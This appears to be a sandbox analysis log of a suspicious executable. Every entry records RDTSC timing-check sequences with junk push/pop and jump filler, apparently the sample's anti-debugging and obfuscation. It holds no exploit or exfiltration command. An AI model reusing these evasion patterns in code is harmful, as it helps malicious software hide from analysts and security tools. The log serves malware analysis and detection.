Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 46A72C second address: 46A773 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEE8CE57907h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FEE8CE578FEh 0x00000010 push eax 0x00000011 push eax 0x00000012 pop eax 0x00000013 jmp 00007FEE8CE578FEh 0x00000018 pop eax 0x00000019 je 00007FEE8CE578F8h 0x0000001f pushad 0x00000020 popad 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 468D7F second address: 468D95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CE1h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 468F10 second address: 468F16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 46933A second address: 46933F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 46933F second address: 469372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FEE8CE578F6h 0x0000000a pop ebx 0x0000000b jmp 00007FEE8CE578FAh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FEE8CE57909h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 469372 second address: 46937B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 469512 second address: 46954B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FEE8CE578F6h 0x0000000a popad 0x0000000b jbe 00007FEE8CE57902h 0x00000011 pushad 0x00000012 jmp 00007FEE8CE578FCh 0x00000017 jmp 00007FEE8CE578FDh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 469E11 second address: 469E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE8C708CE0h 0x00000009 popad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jl 00007FEE8C708CD6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 46A5AB second address: 46A5AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 471645 second address: 471667 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 je 00007FEE8C708CD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FEE8C708CD6h 0x00000014 jmp 00007FEE8C708CDEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 471667 second address: 47166B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 47166B second address: 471671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 47DAFE second address: 47DB02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 47DB02 second address: 47DB0C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEE8C708CD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 47DB0C second address: 47DB27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jmp 00007FEE8CE578FCh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 47DB27 second address: 47DB2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 47DB2D second address: 47DB31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4834A6 second address: 4834AB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 489AF7 second address: 489B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE8CE57907h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 489B13 second address: 489B1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FEE8C708CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 489B1D second address: 489B21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 48E2B2 second address: 48E2C4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007FEE8C708CD6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 48E2C4 second address: 48E2C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 48E2C8 second address: 48E2D2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEE8C708CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 493D2B second address: 493D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE8CE578FEh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 493D3F second address: 493D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3B10AB second address: 3B10B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 49C436 second address: 49C446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 jp 00007FEE8C708CF4h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 49C446 second address: 49C44C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 49C44C second address: 49C455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 49C455 second address: 49C45B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 49E95A second address: 49E981 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FEE8C708CDCh 0x00000008 jmp 00007FEE8C708CE3h 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 49E981 second address: 49E9A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57904h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007FEE8CE578F8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4A73B0 second address: 4A73BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FEE8C708CD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4B1307 second address: 4B1338 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEE8CE578F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FEE8CE57905h 0x00000010 jg 00007FEE8CE578F6h 0x00000016 jg 00007FEE8CE578F6h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4B1338 second address: 4B1347 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEE8C708CD6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4AF07F second address: 4AF086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4AF086 second address: 4AF099 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FEE8C708CD6h 0x00000009 je 00007FEE8C708CD6h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4AF099 second address: 4AF09F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4AF09F second address: 4AF0B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 jne 00007FEE8C708CD6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4AF0B0 second address: 4AF0D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FEE8CE57904h 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FEE8CE578F6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4AF0D1 second address: 4AF101 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEE8C708CD6h 0x00000008 jmp 00007FEE8C708CE9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 jmp 00007FEE8C708CDAh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE50C second address: 4BE510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE510 second address: 4BE528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEE8C708CDFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE528 second address: 4BE532 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEE8CE578FEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BFCC8 second address: 4BFCCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BFCCC second address: 4BFCD6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEE8CE578F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BFCD6 second address: 4BFCE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FEE8C708CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4C42FB second address: 4C42FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4C6843 second address: 4C6848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4C6848 second address: 4C6853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jl 00007FEE8CE578F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4DADC2 second address: 4DADD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FEE8C708CDBh 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4D9E78 second address: 4D9E85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push ebx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4DA2A0 second address: 4DA2B2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jl 00007FEE8C708CD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4DA2B2 second address: 4DA2D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE8CE57900h 0x00000009 pop ecx 0x0000000a jmp 00007FEE8CE578FEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4DA2D5 second address: 4DA2DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4DA6D7 second address: 4DA6DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4DA852 second address: 4DA86D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4DA86D second address: 4DA88D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE8CE57906h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4DA9C7 second address: 4DA9DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEE8C708CDDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4DC4C2 second address: 4DC4C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4E0759 second address: 4E0763 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEE8C708CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4E09BE second address: 4E09C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4E09C4 second address: 4E09C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4E09C8 second address: 4E09FE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop edx 0x0000000e jbe 00007FEE8CE578F8h 0x00000014 popad 0x00000015 nop 0x00000016 mov edx, dword ptr [ebp+122D3936h] 0x0000001c push dword ptr [ebp+1245FAD6h] 0x00000022 mov dx, 53E0h 0x00000026 push 3F2996AAh 0x0000002b push ecx 0x0000002c jg 00007FEE8CE578FCh 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4E1FFC second address: 4E2002 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4E2002 second address: 4E2008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3B7AA8 second address: 3B7AB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FEE8C708CD6h 0x0000000a jnp 00007FEE8C708CD6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BD037B second address: 4BD0381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BD0381 second address: 4BD0385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF072C second address: 4BF0756 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov si, 6ECBh 0x0000000a popad 0x0000000b mov ebp, esp 0x0000000d jmp 00007FEE8CE578FEh 0x00000012 xchg eax, ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FEE8CE578FAh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0756 second address: 4BF075A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF075A second address: 4BF0760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0760 second address: 4BF0779 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0779 second address: 4BF077D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF077D second address: 4BF0783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0783 second address: 4BF0814 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE578FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007FEE8CE57906h 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 movzx ecx, di 0x00000014 pushfd 0x00000015 jmp 00007FEE8CE57903h 0x0000001a or ax, D40Eh 0x0000001f jmp 00007FEE8CE57909h 0x00000024 popfd 0x00000025 popad 0x00000026 push eax 0x00000027 pushad 0x00000028 mov cx, dx 0x0000002b jmp 00007FEE8CE57903h 0x00000030 popad 0x00000031 xchg eax, esi 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FEE8CE57900h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0814 second address: 4BF081A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF081A second address: 4BF0820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0820 second address: 4BF0824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF08F2 second address: 4BF090D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57907h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF090D second address: 4BF0941 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEE8C708CDFh 0x00000009 adc cx, 1C6Eh 0x0000000e jmp 00007FEE8C708CE9h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0A0D second address: 4BF0A3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57901h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FEE8CE57903h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BF0A3C second address: 4BE0017 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, C628h 0x00000007 mov edx, 267D1CD4h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f retn 0004h 0x00000012 nop 0x00000013 cmp eax, 00000000h 0x00000016 setne al 0x00000019 jmp 00007FEE8C708CD2h 0x0000001b xor ebx, ebx 0x0000001d test al, 01h 0x0000001f jne 00007FEE8C708CD7h 0x00000021 sub esp, 04h 0x00000024 mov dword ptr [esp], 0000000Dh 0x0000002b call 00007FEE910C62CBh 0x00000030 mov edi, edi 0x00000032 jmp 00007FEE8C708CDEh 0x00000037 xchg eax, ebp 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0017 second address: 4BE001D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE001D second address: 4BE0036 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 mov cx, 631Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e mov ebx, 7ADFB98Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 mov dx, 29B6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0036 second address: 4BE0055 instructions: 0x00000000 rdtsc 0x00000002 mov ax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEE8CE57904h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4BE0055 second address: 4BE007D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEE8C708CE5h 0x00000012 rdtsc
